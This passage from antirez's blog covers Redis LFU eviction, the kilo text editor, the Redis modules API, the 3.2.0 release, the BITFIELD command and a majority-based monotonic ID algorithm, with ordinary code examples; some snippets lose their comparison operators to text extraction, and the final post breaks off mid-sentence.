Redis will evict one key from each DB. A more rational choice is of course to start evicting keys from DB number 1, and only later to evict the other keys. This is usually not a big deal, when Redis is used as a cache it is rarely used with different DBs, however this is how I started to work at the eviction code again. Eventually I was able to modify the pool to include the database ID, and to use a single pool for all the DBs instead of using multiple pools. It was slower, but by profiling and tuning the code, eventually it was faster than the original implementation by around 20%. However my curiosity for this subsystem of Redis was stimulated again at that point, and I wanted to improve it. I spent a couple of days trying to improve the LRU implementation: use a bigger pool maybe? Account for the time that passes when selecting the best key? After some time, and after refining my tools, I understood that the LRU algorithm was limited by the amount of data sampled in the database and was otherwise very good and hard to improve. This is, actually, kinda evident from the image showing the different algorithms: sampling 10 keys per cycle the algorithm was almost as accurate as theoretical LRU. Since the original algorithm was hard to improve, I started to test new algorithms. If we rewind a bit to the start of the blog post, we said that LRU is actually kinda a trick. What we really want is to retain keys that have the maximum probability of being accessed in the future, that are the keys *most frequently accessed*, not the ones with the latest access. The algorithm evicting the keys with the least number of accesses is called LFU. It means Least Frequently Used, which is the feature of the keys that it attempts to kill to make space for new keys. In theory LFU is as simple as associating a counter to each key. At every access the counter gets incremented, so that we know that a given key is accessed more frequently than another key. Well, there are at least a few more problems, not specific to Redis, general issues of LFU implementations: 1. With LFU you cannot use the “move to head” linked list trick used for LRU in order to take elements sorted for eviction in a simple way, since keys must be ordered by number of accesses in “perfect LFU”. Moving the accessed key to the right place can be problematic because there could be many keys with the same score, so the operation can be O(N) in the worst case, even if the key frequency counter changed just a little. Also as we’ll see in point “2” the accesses counter does not always change just a little, there are also sudden large changes. 2. LFU can’t really be as trivial as, just increment the access counter on each access. As we said, access patterns change over time, so a key with an high score needs to see its score reduced over time if nobody keeps accessing it. Our algorithm must be albe to adapt over time. In Redis the first problems is not a problem: we can just use the trick used for LRU: random sampling with the pool of candidates. The second problem remains. So normally LFU implementations have some way in order to decrement, or halve the access counter from time to time. Implementing LFU in 24 bits of space === LFU has its implementation peculiarities itself, however in Redis all we can use is our 24 bit LRU field in order to model LFU. To implement LFU in just 24 bits per objects is a bit more tricky. What we need to do in 24 bits is: 1. Some kind of access frequency counter. 2. Enough information to decide when to halve the counter. My solution was to split the 24 bits into two fields: 16 bits 8 bits +----------------+--------+ + Last decr time | LOG_C | +----------------+--------+ The 16 bit field is the last decrement time, so that Redis knows the last time the counter was decremented, while the 8 bit field is the actual access counter. You are thinking that it’s pretty fast to overflow an 8 bit counter, right? Well, the trick is, instead of using just a counter, I used a logarithmic counter. This is the function that increments the counter during accesses to the keys: uint8_t LFULogIncr(uint8_t counter) { if (counter == 255) return 255; double r = (double)rand()/RAND_MAX; double baseval = counter - LFU_INIT_VAL; if (baseval double p = 1.0/(baseval*server.lfu_log_factor+1); if (r return counter; } Basically the greater is the value of the counter, the less probable is that the counter will really be incremented: the code above computes a number ‘p’ between 0 and 1 which is smaller and smaller as the counter increases. Then it extracts a random number ‘r’ between 0 and 1 and only increments the counter if ‘r You can configure how much aggressively the counter is implemented via redis.conf parameters, but for instance, with the default settings, this is what happens: After 100 hits the value of the counter is 10 After 1000 is 18 After 100k is 142 After 1 million hits it reaches the 255 limit and no longer increments Now let’s see how this counter is decremented. The 16 bits are used in order to store the less significant bits of the UNIX time converted to minutes. As Redis performs random sampling scanning the key space in search of keys to populate the pool, all keys that are encountered are checked for decrement. If the last decrement was performed more than N minutes ago (with N configurable), the value of the counter is halved if it is an high value, or just decremented if it is a lower value (in the hope that we can better discriminate among keys with few accesses, given that our counter resolution is very small). There is yet another problem, new keys need a chance to survive after all. In vanilla LFU a just added key has an access score of 0, so it is a very good candidate for eviction. In Redis new keys start with an LFU value of 5. This initial value is accounted in the increment and halving algorithms. Simulations show that with this change keys have some time in order to accumulate accesses: keys with a score less than 5 will be preferred (non active keys for a long time). Code and performances === The implementation described above can be found in the “unstable” branch of Redis. My initial tests show that it outperforms LRU in power-law access patterns, while using the same amount of memory per key, however real world access patterns may be different: time and space locality of accesses may change in very different ways, so I’ll be very happy to learn from real world use cases how LFU is performing, and how the two parameters that you can tune in the Redis LFU implementation change the performances for different workloads. Also an OBJECT FREQ subcommand was added in order to report the frequency counter for a given key, this can be both useful in order to observe an application access pattern, and in order to debug the LFU implementation. Note that switching at runtime between LRU and LFU policies will have the effect to start with almost random eviction, since the metadata accumulated in the 24 bits counter does not match the meaning of the newly selected policy. However over time it adapts again. There are probably many improvements possible. Ben Manes pointed me to this interesting paper, describing an algorithm called TinyLRU (http://arxiv.org/pdf/1512.00727.pdf). The paper contains a very neat idea: instead of remembering the access frequency of the current objects, let’s (probabilistically) remember the access frequency of all the objects seen so far, this way we can even refuse new keys if, from the name, we believe they are likely to get little accesses, so that no eviction is needed at all, if evicting a key means to lower the hits/misses ratio. My feeling is that this technique, while very interesting for plain GET/SET LFU caches, is not applicable to the data structure server nature of Redis: users expect the key to exist after being created at least for a few milliseconds. Refusing the key creation at all seems semantically wrong for Redis. However Redis maintains LFU informations when a key is overwritten, so for example after a: SET oldkey some_new_value The 24 bit LFU counter is copied to the new object associated to the old key. The new eviction code of Redis unstable contains other good news: 1. Policies are now “cross DB”. In the past Redis made local choices as explained at the start of this blog post. Now this is fixed for all the policies, not just LRU. 2. The volatile-ttl eviction policy, which is the one that evicts based on the remaining time to live of keys with an expire set, now uses the pool like the other policies. 3. Performances are better by reusing SDS objects in the pool of keys. This post ended a lot longer than I expected it to be, but I hope it offered a few insights on the new stuff and the improvements to the old things we already had. Redis, more than a “solution” to solve a specific problem, is a generic tool. It’s up to the sensible developer to apply it in the right way. Many people use Redis as a caching solution, so improvements in this area are always investigated from time to time. Hacker News comments: https://news.ycombinator.com/item?id=12185534 Comments

• Writing an editor in less than 1000 lines of code, just for fun
  Jul 10, 2016

  WARNING: Long pretty useless blog post. TLDR is that I wrote, just for fun, a text editor in less than 1000 lines of code that does not depend on ncurses and has support for syntax highlight and search feature. The code is here: http://github.com/antirez/kilo. Screencast here: https://asciinema.org/a/90r2i9bq8po03nazhqtsifksb For the sentimentalists, keep reading… A couple weeks ago there was this news about the Nano editor no longer being part of the GNU project. My first reaction was, wow people still really care about an old editor which is a clone of an editor originally part of a terminal based EMAIL CLIENT. Let’s say this again, “email client”. The notion of email client itself is gone at this point, everything changed. And yet I read, on Hacker News, a number of people writing how they were often saved by the availability of nano on random systems, doing system administrator tasks, for example. Nano is also how my son wrote his first program in C. It’s an acceptable experience that does not require past experience editing files. This is how I started to think about writing a text editor ways smaller than Nano itself. Just for fun, basically, because I like and admire small programs. How lame, useless, wasting of time is today writing an editor? We are supposed to write shiny incredible projects, very cool, very complex, valuable stuff. But sometimes to make things without a clear purpose is refreshing. There were also memories… I remember my first experiences with the Commodore 16 in-ROM assembler, and all the home computers and BASIC interpreters I used later in my child life. An editor is a fundamental connection between the human and the machine. It allows the human to write something that the computer can interpret. The blinking of a square prompt is something that many of us will never forget. Well, all nice, but my time was very limited. A few hours across two weekends with programmed family activities and meat to prepare for friends in long barbecue sessions. Maybe I could still write an editor on a few spare hours with some trick. My goal was to write an editor which was very small, no curses, and with syntax highlighting. Something usable, basically. That’s the deal.. It’s little stuff, but is already hard to write all this from scratch in a few hours. But … wait, I actually wrote an editor in the past, is part of the LOAD81 project, a Lua based programming environment for children. Maybe I can just reuse it… and instead of using SDL to write on the screen what about sending VT100 escape sequences directly to the terminal? And I’ve code for this as well in linenoise, another toy project that eventually found its place in some may other serious projects. So maybe mixing the two… The first week Saturday morning I went to the sea, and it was great. Later my brother arrived from Edinburg to Catania, and at the end of the day we were together in the garden with our laptops, trying to defend ourselves from the 30 degrees that there were during the day, so I started to hack the first skeleton of the editor. The LOAD81 code was quite modular, to take it away from the original project was a joke. I could kinda edit after a few hours, and it was already time to go bed. The next day I worked again at it before leaving for the sea again. My 15yo sleeps till 1pm, as I did when I was 15yo in summertime after all, so I coded more in sprints of 30 minutes waiting for him to get up, using the rest of the time to play with my wonderful daughter. Finally later in the Sunday night I tried to fix all the remaining stuff. Hey I remember that a few years ago to hack on a project was, to *hack* on it, full time for days. I’m old now, but still young enough to write toy editors and consider it a serious business :-) However life is hard, and Monday arrived. Real business, no time for toy projects, not even time to release what I got during the weekend… It deserved some minimal polishing and a blog post. I had to wait this Monday to put my hands on the “Kilo” editor again. It’s called Kilo because it has less than 1024 lines of code. The “cloc” utility, used in order to count the number of lines of code, signaled me I still had ~100 lines of space before reaching 1024 LOC, and a serious editor needs a “search” feature after all. So back to the code, trying also to restructure and recomment it a bit, since you know, when you mix two projects pieces in a few hours the risk is that the code quality is less than excellent. Well, now it’s time to release it, end of this crazy project. Maybe somebody will use it as a starting point to write a real editor, or maybe it could be used to write some new interesting CLI that goes over the usual REPL style model. The code is at http://github.com/antirez/kilo HN comments: https://news.ycombinator.com/item?id=12065217 Comments

• Programmers are not different, they need simple UIs.
  May 24, 2016

  I’m spending days trying to get a couple of APIs right. New APIs about modules, and a new Redis data type. I really mean it when I say *days*, just for the API. Writing drafts, starting the implementation shaping data structures and calls, and then restarting from scratch to iterate again in a better way, to improve the design and the user facing part. Why I do that, delaying features for weeks? Is it really so important? Programmers are engineers, maybe they should just adapt to whatever API is better to export for the system exporting it. Should I really reply to my rhetorical questions? No, it is no longer needed today, and that’s a big win. I want to assume that at this point is tacit, given for granted, that programmers also have user interfaces, and that such user interfaces are so crucial to completely change the perception of a system. Database query languages, libraries calls, programming languages, Unix command line tools, they all have an User Interface part. If you use them daily, for you they are more UIs than anything else. So if this is all well known why I’m here writing this blog post? Because I want to stress how important is the concept of simplicity, not just in graphical UIs, but also in UIs designed for programmers. The act of iterating again and again to find a simple UI solution is not a form of perfectionism, it’s not futile narcissism. It is more an exploration in the design space, that sometimes is huge, made of small variations that make a big difference, and made of big variations that completely change the point of view. There are no rules to follow but your sensibility. Yes there are good practices, but they are not a good compass when the sea to navigate is the one of the design *space*. So why programmers should have this privilege of having good, simple UIs? Sure there is the joy of using something well made, that is great to handle, that feels *right*. But there is a more central question. Learning to configure Sendmail via M4 macros, or struggling with an Apache virtual host setup is not real knowledge. If such a system one day is no longer in use, what remains in your hands, or better, in your neurons? Nothing. This is ad-hoc knowledge. It is like junk food: empty calories without micronutrients. For programmers, the micronutrients are the ideas that last for decades, not the ad-hoc junk. I don’t want to ship junk, so I’ll continue to refine my designs before shipping. You should not accept junk, your neurons are better spent to learn general concepts. However in part it is inevitable: every system will have something that is not general that we need to learn in order to use it. Well, if that’s the deal, at least, let’s make the ad-hoc part a simple one, and if possible, something that is even fun to use. Comments

• Redis Loadable Modules System
  May 10, 2016

  It was a matter of time but it eventually happened. In the Redis 1.0 release notes, 7 years ago, I mentioned that one of the interesting features for the future was “loadable modules”. I was really interested in such a feature back then, but over the years I became more and more skeptic about the idea of adding loadable modules in Redis. And probably for good reasons. Modules can be the most interesting feature of a system and the most problematic one at the same time: API incompatibilities between versions, low quality modules crashing the system, a lack of identity of a system that is extendible are possible problems. SO, for years, I managed to avoided adding modules to Redis, and Lua scripting was a good tool in order to delay their addition. At the same time, years of experience with scripting, demonstrated that scripting is a way to “compose” existing features, but not a way to extend the capabilities of a system towards use cases it was not designed to cover. Previous attempts at modules also showed that one of the main pain points about mixing Redis and loadable modules is the way modules are bound with the Redis core. In may ways Redis resembles more a programming language than a database. To extend Redis properly, the module needs to have access to the internal API of the system. Directly exporting the Redis core functions to modules creates huge problems: the module starts to depend on the internal details of Redis. If the Redis core evolves, the module needs to be rewritten. This creates either a fragile modules ecosystem or stops the evolution of the Redis core. Redis internals can’t stop to evolve, nor the modules developers can keep modifying the module in order to stay updated with the internals (something that happened in certain popular systems in the past, with poor results). With all this lessons in mind, I was leaving Catania to fly to Tel Aviv, to have a meeting at Redis Labs to talk about the roadmap for the future months. One of the topics of our chat was loadable modules. During the flight I asked myself if it was possible to truly decouple the Redis core from the modules API, but still have a low level access to directly manipulate Redis data structure. So I started to immediately code something. What I wanted was an extreme level of API compatibility for the future, so that a module wrote today could work in 4 years from now with the same API, regardless of the changes to the Redis core. I also wanted binary compatibility so that the 4 years old module could even *load* in the new Redis versions and work as expected, without even the need to be recompiled. At the end of the flight I arrived in Tel Aviv with something already working in the “modules” branch. We discussed together how the API would work, and at the end everybody agreed that to be able to manipulate Redis internals directly was a fundamental feature. What we wanted to accomplish was to allow Redis developers to create commands that were as capable as the Redis native commands, and also as fast as the native commands. This cannot be accomplished just with an high level API that calls Redis commands, it’s too slow and limited. There is no point in having a Redis modules system that can just do what Lua can already do. You need to be able to say, get me the value associated with this key, what type is it? Do this low level operation on the value. Given me a cursor into the sorted set at this position, go to the next element, and so forth. To create an API that works as an intermediate layer for such low level access is tricky, but definitely possible. I returned home and started to work at the modules system immediately. After a couple of weeks I had a prototype that was already functional enough to develop interesting modules, featuring low level functions like data types low level access, strings DMA to poke with the internals of strings without wrappers when needed, a replication API, an interesting sorted set iterator API, and so forth. It looked was a very promising start, however the project was kinda of “secret” because it was not clear if it was viable initially. Also we wanted to avoid everybody to start developing modules while the API was extremely unstable and subject to changes. The result of this process, while not complete, is very promising, so today I’m announcing the new feature at Redis Conference 2016, and the code was just pushed into the “unstable” branch. But let’s check the API a bit… Here is a trivial example of what a module can do and how it works. It implements a “list splice” operation that moves elements from a list to another: int HelloListSpliceAuto_RedisCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (argc != 4) return RedisModule_WrongArity(ctx); RedisModule_AutoMemory(ctx); RedisModuleKey *srckey = RedisModule_OpenKey(ctx,argv[1], REDISMODULE_READ|REDISMODULE_WRITE); RedisModuleKey *dstkey = RedisModule_OpenKey(ctx,argv[2], REDISMODULE_READ|REDISMODULE_WRITE); /* Src and dst key must be empty or lists. */ if ((RedisModule_KeyType(srckey) != REDISMODULE_KEYTYPE_LIST && RedisModule_KeyType(srckey) != REDISMODULE_KEYTYPE_EMPTY) || (RedisModule_KeyType(dstkey) != REDISMODULE_KEYTYPE_LIST && RedisModule_KeyType(dstkey) != REDISMODULE_KEYTYPE_EMPTY)) { return RedisModule_ReplyWithError(ctx,REDISMODULE_ERRORMSG_WRONGTYPE); } long long count; if ((RedisModule_StringToLongLong(argv[3],&count) != REDISMODULE_OK) || (count { return RedisModule_ReplyWithError(ctx,"ERR invalid count"); } while(count-- > 0) { RedisModuleString *ele; ele = RedisModule_ListPop(srckey,REDISMODULE_LIST_TAIL); if (ele == NULL) break; RedisModule_ListPush(dstkey,REDISMODULE_LIST_HEAD,ele); } size_t len = RedisModule_ValueLength(srckey); RedisModule_ReplyWithLongLong(ctx,len); return REDISMODULE_OK; } int RedisModule_OnLoad(RedisModuleCtx *ctx) { if (RedisModule_Init(ctx,"helloworld",1,REDISMODULE_APIVER_1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx,"hello.list.splice.auto", HelloListSpliceAuto_RedisCommand, "write deny-oom",1,2,1) == REDISMODULE_ERR) return REDISMODULE_ERR; } There was a big effort into providing a clean API, and an API that is not prone to misuses. For example there is support for automatic memory management, so that the context the command operates on, collects the objects that are not explicitly freed by the user, in order to free them when the command returns if needed. This makes writing modules a lot simpler. You can find the API documentation here (not perfect but there is enough to get familiar): https://github.com/antirez/redis/blob/unstable/src/modules/INTRO.md And the API reference here: https://github.com/antirez/redis/blob/unstable/src/modules/API.md And many simple examples of commands here: https://github.com/antirez/redis/blob/unstable/src/modules/helloworld.c The API is yet not complete nor stable, and will be released with the next stable version of Redis (likely 4.0). However it is already enough to do a lot of things, and my colleagues did very interesting things, from inverted indexes to authentication systems. In the next weeks we’ll fill all the holes, for example there is no low level Set API, so you’ll have to use Call() style API for now. Similarly the iterator is only provided for the sorted set type, and so forth. But the important point is that the process is now started, and Redis is becoming an extendible system. I think this will give more power to Redis users, power to go “faster” than the project itself, in using Redis to model their problems, with the big promise that, after Redis 4.0 RC is out, we’ll not break the API ever for years to come, so that modules work will not get wasted. Note that we *can improve* the API, since the module registration asks for a given API version, so it will be possible to maintain the backward compatibility while at the same time release new versions of the API. Soon there will be a Modules Directory were you can register your modules, using redis-cli, into a server that talks the Redis protocol. It was not possible to finish it in time unfortunately, but it is just a matter of weeks. I’m very very excited about what will happen now! Modules will have a Bazar model like clients, so there will not be “official modules”. The good ones will be used for sure, and all will get listed in the Redis site, probably ranked by Github stars or something like that. I hope many users will start to be part of the modules ecosystem and make Redis able to solve very specific use cases that was not wise to solve inside the core, but that are a good fit for modules. Now I need your feedbacks while the API is still malleable. Tell me what you think! Comments

• Three ideas about text messages
  May 07, 2016

  I’m aboard of a flight bringing me to San Francisco. Eventually I purchased the slowest internet connection of my life (well at least for a good reason), but for several hours I was without internet, as usually when I fly. I don’t mind staying disconnected for some time usually. It’s a good time to focus, write some code, or a blog post like this one. However when I’m disconnected, what makes the most difference is not Facebook or Twitter or Github, but the lack of text messages. At this point text messages are a fundamental thing in my life. They are also probably the main source of distraction. I use messages to talk with my family, even just to communicate between different floors. I use messages with friends to organize dinners and vacations. I even use messages with the plumber or the doctor. Clearly messages are not going to go away. They need to get better, so I usually tend to thing at topics related to messaging applications. The following are three recurrent thoughts I’ve about this topic. 1. WhatsApp is not used in the US. Do you know what’s the social network that is reshaping the most the way we communicate in Europe? Is the WhatsApp application. Since it is the total standard and an incredible amount of the population has it, “WhatsApp Groups” is changing the way people communicate. There is a group for each school class, one for the children and one for the parents. One for families, another for groups of friends. One for the kindergarten of my daughter, where teachers post from time to time pictures of our children doing activities. WhatsApp is also one of the main pains of modern life. All this groups continuously beep. However what they are doing for the society is incredible: they are truly making every human being interconnected. This magic is possible because here in Italy, and in most other EU countries, WhatsApp is *the standard* so everybody assumes you use it. To me it is pretty incredible that this is not happening in the US, the place where most social applications are funded and created. Given that in the US there are both Android and iOS phones I wonder what’s stopping this from happening. My guess is that it’s just a matter of time and a unified messaging platform will happen there too. * Why voice recognition is not used more. For people that can write text fast into a real keyboard, the software keyboard of the phone is one of the most annoying things ever. Similarly, teenagers excluded, many other people have issues writing long text messages with a phone keyboard. At the same time, the voice recognition software of Android, powered by the Google servers, reached a point where it rarely does errors at all, so why just a few people use it on a daily basis? My theory is that the user interface to activate and use the voice recognition feature is so bad to be the main barrier to make this feature a big hit. First you have to find how to activate it, and usually is not a prominent button on the keyboard. Then there is this delay and it emits a beep and starts to listen, and it’s not clear exactly how to stop it, especially if the environment is aloud. The whole thing looks like if you are suffering from the servers latency, but voice is voice. With delays and non clear experience you kill the big advantage of talking to your phone. This should be just a “push the button while you talk” thing. When you push the button, the system starts to record your voice immediately and connects asynchronously to the servers. As text arrives back, it is shown to the user. When the user releases the button the voice thing is done. As simple as that. At the end, the words that were inserted in this way could be shown in some special way (like a different gray) in the text area, so that one can tap individual words and select alternatives if there are errors. Please Google freaking do that. I wonder if it’s any better on iOS, I don’t use it for some time at this point. * Auto transcription of text messages. Since the phone keyboard is such a mess, people are using more and more voice messages, especially with WhatsApp. It is very convenient for people writing messages, since there is the “push and talk” experience that there is not in the speech to text feature. However it is not always very convenient for the people receiving the message, that may be in an environment where to listen to the conversation is not easy. However there is something that could work in that regard, that is, the WhatsApp (or whatever) servers, should automatically translate the message to text, so that the user can both play the message or just look at the text, if it’s clear enough. When there are doubts on given words, the text can be highlighted in some way to show the user that it’s better to listen to the voice message since there are non clear words, however this could easily make 95% of messages promptly available to the user just reading. This way the feature would be friction-less both ways, for the users writing (dictating actually) and for the user receiving the messages. TLDR: Messaging is everywhere, make it better. Comments

• Redis 3.2.0 is out!
  May 06, 2016

  It took more than expected, but finally we have it, Redis 3.2.0 stable is out with changes that may be useful to a big number of Redis users. At this point I covered the changes multiple time, but the big ones are: * The GEO API. Index whatever you want by latitude and longitude, and query by radius, with the same speed and easy of use of the other Redis data structures. Here you can find the API documentation: http://redis.io/commands/#geo. Thank you to Matt Stancliff for the initial implementation, that was reworked but is still at the core of the GEO API, and to the developers of ARDB for providing the geo indexing code that Matt used. * The new BITFIELD command allows to use a Redis string as a bit array composed of many integers with user specified size and offset. It supports increments and decrements to exploit this small (or large) integers as counters, with fine control over the overflow behavior. http://redis.io/commands/bitfield. Thanks to Yoav Steinberg for pushing forward this crazy idea and motivating me to write an implementation. * Many improvements to Redis Cluster, including rebalancing capabilities in redis-trib and better replicas migration. However support for NATted envrionments and Docker port forwarding, while implemented in the “unstable” branch, was not backported to 3.2 for maturity concerns. * Improvements to Lua scripts replication. It is now possible to use “effects replication” to write scripts containing side effects. It’s documented here: http://redis.io/commands/EVAL. Thanks to Yossi Gottlieb for stimulating the addition of this feature and helping in the design. * We have now a serious Lua scripts debugger: https://www.youtube.com/watch?v=IMvRfStaoyM with support into redis-cli. Thanks to Itamar Haber, developer of non trivial scripts since the start of Lua scripting, that really wanted this feature and helped during the development. * Redis is now more memory efficient thanks to changes operated by Oran Agra to SDS and the Jemalloc size classes setup. Also we have a new List internal representation contributed by Matt Stancliff which uses just a small percentage of the memory used before to represent large lists! * Finally slaves and masters are in agreement about what keys are expired during read operations. It was about time :-) * SPOP now accepts an optional count argument. Thanks to Alon Diamant for providing the initial implementation. I kinda rewrote it for performances later, and we ended with a pretty fast thing. * RDB AUX fields. So now your RDB files have a few informations inside, like the server that generated it, in what date, and so forth. Soon we’ll have redis-cli able to parse those fields (in 3.2.1) hopefully. It’s a small amount of work but I’m remembering only know writing this notes, honestly. * RDB loading is faster now. * Sentinel can now scale monitoring many masters, but should be considered more an advanced beta than stable, so please test it in your environment carefully before deploying, a lot of code changed inside Sentinel internals. * Many more things but this list is already long enough. A big thank you to all the contributors that made this release possible, to the Redis user base which is lovely and encouraging, and to Redis Labs for sponsoring a lot of the work that went into 3.2.0. During the previous weeks we also worked to a new interesting feature that will be released in the next versions of Redis, it will be announced during RedisConf 2016 in San Francisco, 10-11 May, so stay tuned! One note about stability. I keep saying it all the time, but stability in software is not black and white. It’s like pink, yellow and green. No just kidding. It’s the usual shades of gray. So 3.2.0 looks solid, however it’s fresh meat. Start to use it incrementally and check how it works for you, and please report any issue promptly. However it’s also true that given that it stayed in RC for a lot of time, it was already tested by the brave users that were too much in need for the new features to deploy it ASAP. The 3.2.0 full changelog is here: https://raw.githubusercontent.com/antirez/redis/3.2/00-RELEASENOTES Redis 3.2.0 can be obtained as a tarball at http://download.redis.io, or by fetching the 3.2.0 tag from Github antirez/redis repository. Enjoy! Comments

• 100 more of those BITFIELDs
  Feb 26, 2016

  Today Redis is 7 years old, so to commemorate the event a bit I passed the latest couple of days doing a fun coding marathon to implement a new crazy command called BITFIELD. The essence of this command is not new, it was proposed in the past by me and others, but never in a serious way, the idea always looked a bit strange. We already have bit operations in Redis: certain users love it, it’s a good way to represent a lot of data in a compact way. However so far we handle each bit separately, setting, testing, getting bits, counting all the bits that are set in a range, and so forth. What about implementing bitfields? Short or large, arbitrary sized integers, at arbitrary offsets, so that I can use a Redis string as an array of 5 bits signed integers, without losing a single bit of juice. A few days ago, Yoav Steinberg from Redis Labs, proposed a set of commands on arbitrary sized integers stored at bit offsets in a more serious way. I smiled when I read the email, since this was kinda of a secret dream. Starting from Yoav proposal and with other feedbacks from Redis Labs engineers, I wrote an initial specification of a single command with sub-commands, using short names for types definitions, and adding very fine grained control on the overflow semantics. I finished the first implementation a few minutes ago, since the plan was to release it for today, in the hope Redis appreciates we do actual work in its bday. The resulting BITFIELD command supports different subcommands: SET — Set the specified value and return its previous value. GET — Get the specified value. INCRBY — Increment the specified counter. There is an additional meta command called OVERFLOW, used to set (guess what) the overflow semantics of the commands that will follow (so OVERFLOW can be specified multiple times): OVERFLOW SAT — Saturation, so that overflowing in one direction or the other, will saturate the integer to its maximum value in the direction of the overflow. OVERFLOW WRAP — This is usual wrap around, but the interesting thing is that this also works for signed integers, by wrapping towards the most negative or most positive values. OVERFLOW FAIL — In this mode the operation is not performed at all if the value would overflow. The integer types can be specified using the “u” or “i” prefix followed by the number of bits, so for example u8, i5, u20 and i53 are valid types. There is a limitation: u64 cannot be specified since the Redis protocol is unable to return 64 bit unsigned integers currently. It's time for a few examples: in order to increment an unsigned integer of 8 bits I could use: 127.0.0.1:6379> BITFIELD mykey incrby u8 100 1 1) (integer) 3 This is incrementing an unsigned integer, 8 bits, at offset 100 (101th bit in the bitmap). However there is a different way to specify offsets, that is by prefixing the offset with “#”, in order to say: "handle the string as an array of counters of the specified size, and set the N-th counter". Basically this just means that if I use #10 with an 8 bits type, the offset is obtained by multiplying 8*10, this way I can address multiple counters independently without doing offsets math: 127.0.0.1:6379> BITFIELD mykey incrby u8 #0 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u8 #0 1 1) (integer) 2 127.0.0.1:6379> BITFIELD mykey incrby u8 #1 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u8 #1 1 1) (integer) 2 The ability to control the overflow is also interesting. For example an unsigned counter of 1 bit will actually toggle between 0 and 1 with the default overflow policy of “wrap”: 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 0 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 1 127.0.0.1:6379> BITFIELD mykey incrby u1 100 1 1) (integer) 0 As you can see it alternates 0 and 1. Saturation can also be useful: 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -3 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -6 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -8 127.0.0.1:6379> bitfield mykey overflow sat incrby i4 100 -3 1) (integer) -8 As you can see, decrementing 3 never goes under -8. Note that you can carry multiple operations in a single command. It always returns an array of results: 127.0.0.1:6379> BITFIELD mykey get i4 100 set u8 200 123 incrby u8 300 1 1) (integer) -8 2) (integer) 123 3) (integer) 7 The intended usage for this command is real time analytics, A/B testing, showing slightly different things to users every time by using the overflowing of integers. Packing so many small counters in a shared and memory efficient way can be exploited in many ways, but that’s left as an exercise for the talented programmers of the Redis community. The command will be backported into the stable version of Redis in the next weeks, so this will be usable very soon. Curious about the implementation? It's more complex you could expect probably: https://github.com/antirez/redis/commit/70af626d613ebd88123f87a941b0dd3570f9e7d2 Comments

• The binary search of distributed programming
  Feb 13, 2016

  Yesterday night I was re-reading Redlock analysis Martin Kleppmann wrote (http://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html). At some point Martin wonders if there is some good way to generate monotonically increasing IDs with Redis. This apparently simple problem can be more complex than it looks at a first glance, considering that it must ensure that, in all the conditions, there is a safety property which is always guaranteed: the ID generated is always greater than all the past IDs generated, and the same ID cannot be generated multiple times. This must hold during network partitions and other failures. The system may just become unavailable if there are less than the majority of nodes that can be reached, but never provide the wrong answer (note: as we'll see this algorithm has another liveness issue that happens during high load of requests). So for the sake of playing a bit more with distributed systems algorithms, and learn a bit more in the process, I tried to find a solution. Actually I was aware of an algorithm that could solve the problem. It’s an inefficient one, not suitable to generate tons of IDs per second. Many complex distributed algorithms, like Raft and Paxos, use it as a step in order to get monotonically increasing IDs, as a foundation to mount the full set of properties they need to provide. This algorithm is fascinating since it’s extremely easy to understand and implement, and because it’s very intuitive to understand *why* it works. I could say, it is the binary search of distributed algorithms, something easy enough but smart enough to let newcomers to distributed programming to have an ah!-moment. However I had to modify the algorithm in order to adapt it to be implemented in the client side. Hopefully it is still correct (feedbacks appreciated). While I’m not going to use this algorithm in order to improve Redlock (see my previous blog post), I think that trying to solve this kind of problems is both a good exercise, and it may be an interesting read for people approaching distributed systems for the first times looking for simple problems to play with in real world systems. ## How it works? The algorithm requirements are the following two: 1. A data store that supports the operation set_if_less_than(). 2. A data store that can fsync() data to disk on writes, before replying to the client. The above includes almost any *SQL server, Redis, and a number of other stores. We have a set of N nodes, let’s assume N = 5 for simplicity in order to explain the algorithm. We initialize the system by setting a key called “current” to the value of 0, so in Redis terms, we do: SET current 0 In all the 5 instances. This is part of the initialization and must be done only when a new “cluster” is initialized. This step can be skipped but makes the explanation simpler. In order to generate a new ID, this is what we do: 1: Get the “current” value from the majority of instances (3 or more if N=5). 2: If we failed to reach 3 instances, GOTO 1. 3: Get the maximum value among the ones we obtained, and increment it by 1. Let’s call this $NEXTID 4: Send the following write operation to all the nodes we are able to reach. IF current SET current $NEXTID return $NEXTID ELSE return NULL END 5: If 3 or more instances will reply $NEXTID, the algorithm succeeded, and we successfully generated a new monotonically increasing ID. 6: Otherwise, if we have not reached the majority, GOTO 1. What we send at step 4 can be easily translated to a simple Redis Lua script: local val = tonumber(redis.call('get',KEYS[1])) local nextid = tonumber(ARGV[1]) if val redis.call('set',KEYS[1],nextid) return nextid else return nil end ## Is it safe? The reason why I intuitively believe that it works, other than the fact that, in a modified form is used as a step in deeply analyzed algorithms, is that: If we are able to obtain the majority of “votes”, it is impossible by definition that any other client obtained the majority for an ID greater or equal to the one we generated. Otherwise there were already 3 or more instances with a value of current >= $NEXTID, and it would be impossible for us to get the majority. So the IDs generated are always greater than the past IDs, and for the same condition it is impossible for two instances to generate the same ID. Maybe some kind reader could point to a bug in the algorithm or to an analysis of this algorithm as used in other analyzed systems, however given that the above is adapted to be executed client-side, there are actually more processes involved and it should be re-analyzed in order to provide a proof that it is equivalent. ## Why it’s a slow algorithm? The problem with this algorithm is concurrent accesses. If many clients are trying to generate new IDs at the same time, nobody may get the majority, and they will need to retry again, with larger numbers. Note that this also means that there could be “holes” in the sequence of generated IDs, so the clients could be able to generate the sequence 1, 2, 6, 10, 11, 21, … Because many numbers could be “burn” by the split brain condition caused by concurrent access. (Note that in the above sentence "split brain" does not mean that there is an inconsistent state between the nodes, just that it was not possible to reach the majority to agree about a given ID. Usually split brain refers to a conflict in the configuration where, for example, multiple nodes claim to be a master. However in the Raft paper the term split brain is used with the same meaning I'm using here). How many IDs per second you can generate without incurring frequent failures due to concurrent accesses depends on the network 